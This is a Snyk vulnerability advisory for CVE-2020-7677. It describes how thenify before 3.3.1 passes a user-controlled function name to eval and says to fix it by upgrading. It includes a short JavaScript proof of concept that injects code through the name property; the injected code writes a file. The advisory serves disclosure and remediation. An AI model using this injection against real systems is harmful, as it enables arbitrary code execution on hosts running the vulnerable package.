Headline
CVE-2020-7677: Snyk Vulnerability Database | Snyk
This affects the package thenify before 3.3.1. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications
snyk-id
SNYK-JS-THENIFY-571690
published
15 Jun 2020
disclosed
15 Jun 2020
credit
JHU System Security Lab
How to fix?
Upgrade thenify to version 3.3.1 or higher.
Overview
thenify is a Promisify a callback-based function using any-promise.
Affected versions of this package are vulnerable to Arbitrary Code Execution. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.
PoC
var a = require("thenify");
var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
function cur(){};
Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
a(cur);
Related news
Ubuntu Security Notice 6016-1 - It was discovered that thenify incorrectly handled certain inputs. If a user or an automated system were tricked into opening a specially crafted input file, a remote attacker could possibly use this issue to execute arbitrary code.
Versions of thenify prior to 3.3.1 made use of unsafe calls to `eval`. Untrusted user input could thus lead to arbitrary code execution on the host. The patch in version 3.3.1 removes calls to `eval`.